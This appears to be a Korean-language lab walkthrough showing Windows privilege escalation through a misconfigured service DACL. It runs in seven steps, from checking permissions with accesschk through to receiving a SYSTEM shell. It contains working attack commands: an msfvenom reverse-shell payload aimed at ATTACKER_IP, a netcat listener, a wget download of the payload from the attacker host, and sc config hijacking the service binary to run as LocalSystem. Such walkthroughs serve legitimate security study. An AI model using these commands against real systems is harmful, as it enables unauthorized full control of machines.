- 서비스 실행 파일 권한이나 경로에 문제가 없어도 서비스 자체의 권한 설정(DACL)에 문제가 있다면 공격자가 서비스 구성을 변경해서 악성 실행 파일을 실행할 수 있다.
CLI에서 서비스의 DACL을 확인하기 위해 Sysinternal Suite의 `Accesschk`를 사용할 수 있다.
##### 1단계: 서비스 DACL 확인
```cmd
accesschk64.exe -qlc wookservice
```
결과 분석:
```cmd
BUILTIN\Users: SERVICE_ALL_ACCESS
```
- `BUILTIN\Users` 그룹(모든 일반 사용자 포함)이 `SERVICE_ALL_ACCESS`권한을 가지고 있음.
- 즉, 서비스 구성 수정 가능 -> 실행 파일 경로, 실행 계정 변경 가능
##### 2단계: Kali에서 리버스 쉘 페이로드 생성
```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=1234 -f exe-service -o rev-svc.exe
```
- `exe-service` 형식으로 SYSTEM 쉘을 연결할 페이로드 생성
##### 3단계: Kali에서 리스너 대기
```bash
nc -lvnp 1234
```
##### 4단계: 페이로드 전송 및 권한 설정
파일 다운로드
```powershell
wget http://ATTACKER_IP:8888/rev-svc.exe -O C:\Users\wook\rev-svc.exe
```
권한 부여
```powershell
icacls C:\Users\wook\rev-svc.exe /grant Everyone:F
```
##### 5단계: 서비스 구성 변경 (서비스 실행 파일 + 실행 계정 변경)
```powershell
sc config WookService binPath= "C:\Users\wook\rev-svc.exe" obj= LocalSystem
```
- 중요: `=`기호 뒤에 반드시 띄어쓰기 한 칸 필수.
- `binPath=`: 실행 파일 경로 설정
- `obj=`실행 계정 설정 (여기선 `LocalSystem` 사용 -> 최고 권한)
##### 6단계: 서비스 재시작
```cmd
sc stop Wookservice
sc start wookservice
```
- 이때부터 `rev-svc.exe`가 SYSTEM 권한으로 실행
##### 7단계: Kali에서 SYSTEM 권한 리버스 쉘 수신
```bash
nc -lvnp 1234
```